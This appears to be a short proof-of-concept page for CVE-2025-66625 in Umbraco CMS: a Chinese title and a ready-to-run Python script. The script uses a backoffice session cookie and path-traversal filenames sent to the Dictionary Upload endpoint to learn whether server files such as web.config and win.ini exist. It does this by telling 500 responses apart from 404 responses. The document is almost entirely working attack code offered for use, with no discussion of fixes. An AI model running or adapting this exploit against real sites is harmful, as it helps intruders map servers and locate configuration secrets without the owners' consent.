CVE-2025-66625 Umbraco CMS临时文件处理不当导致文件枚举漏洞

# CVE-2025-66625 PoC - Umbraco CMS File Enumeration via Temporary File Handling # This PoC demonstrates how an attacker with backoffice access can enumerate files import requests import sys from urllib.parse import urljoin class UmbracoFileEnumerator: def __init__(self, target_url, session_cookie): self.target_url = target_url.rstrip('/') self.session_cookie = session_cookie self.session = requests.Session() self.session.cookies.set('.ASPXAUTH', session_cookie) def check_file_exists(self, file_path): """ Check if a file exists by triggering dictionary upload process The vulnerability relies on predictable temp file paths and different HTTP responses (500 = exists, 404 = not exists) """ upload_endpoint = f"{self.target_url}/umbraco/backoffice/Api/Dictionary/Upload" # Craft request to predictable temp file path payload = { 'file': ('../../../../../../' + file_path, 'test.xml', 'text/xml') } try: response = self.session.post(upload_endpoint, files=payload, timeout=10) # File exists returns 500, file not exists returns 404 if response.status_code == 500: return True elif response.status_code == 404: return False else: return None except requests.exceptions.RequestException as e: print(f"Request error: {e}") return None def enumerate_files(self, file_list): """Enumerate existence of multiple files""" results = [] for file_path in file_list: exists = self.check_file_exists(file_path) results.append({ 'file': file_path, 'exists': exists, 'status': 'CONFIRMED' if exists else 'NOT FOUND' }) return results def main(): if len(sys.argv) < 3: print("Usage: python cve-2025-66625_poc.py <target_url> <session_cookie>") print("Example: python cve-2025-66625_poc.py http://target.com umbraco_session_token") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] enumerator = UmbracoFileEnumerator(target, cookie) # Example file enumeration targets target_files = [ 'windows/win.ini', 'boot.ini', 'web.config', 'C:/inetpub/wwwroot/web.config', 'app_data/umbraco.config' ] print("[*] Starting file enumeration for CVE-2025-66625") print(f"[*] Target: {target}\n") results = enumerator.enumerate_files(target_files) for result in results: status_icon = "[+]" if result['exists'] else "[-]" print(f"{status_icon} {result['file']}: {result['status']}") if __name__ == "__main__": main()